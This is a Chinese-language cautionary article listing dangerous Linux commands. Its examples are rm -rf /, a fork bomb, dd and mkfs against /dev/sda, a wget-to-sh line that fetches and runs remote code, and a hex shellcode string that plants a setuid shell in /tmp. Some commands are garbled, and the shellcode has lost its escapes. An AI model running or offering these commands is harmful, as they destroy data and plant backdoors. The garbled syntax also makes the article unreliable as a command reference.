Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

rm –rf

rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:

rm 删除linux下的文件

rm -r 递归删除文件夹,包括空文件夹

rm -f强制无条件删除只读文件

rm -rf / : 强制无条件删除root目录下所有内容。

rm -rf * : 强制无条件删除当前目录下所有内容。

rm -rf . : 强制无条件删除当前文件夹和子文件夹

综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:

aliasrm= ‘rm -i’

这样,在你下次删除东西的时候,它会提醒你到底要删啥。

){:|:&};:

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

手贱的同学可以尽管在虚拟机里试试:

){ :|:&}; :任意命令 > /dev/sda

这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

mv 指定的文件夹 /dev/null

这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

# mv /home/user/* /dev/null

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

wget http://malicious_source -O- | sh

这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。

mkfs.ext3 /dev/sda

上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了.

>任意文件

这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:

> xt.conf

你系统配置文件里的内容可能就会因此被清理掉。

^foo^bar

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

隐藏命令

下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。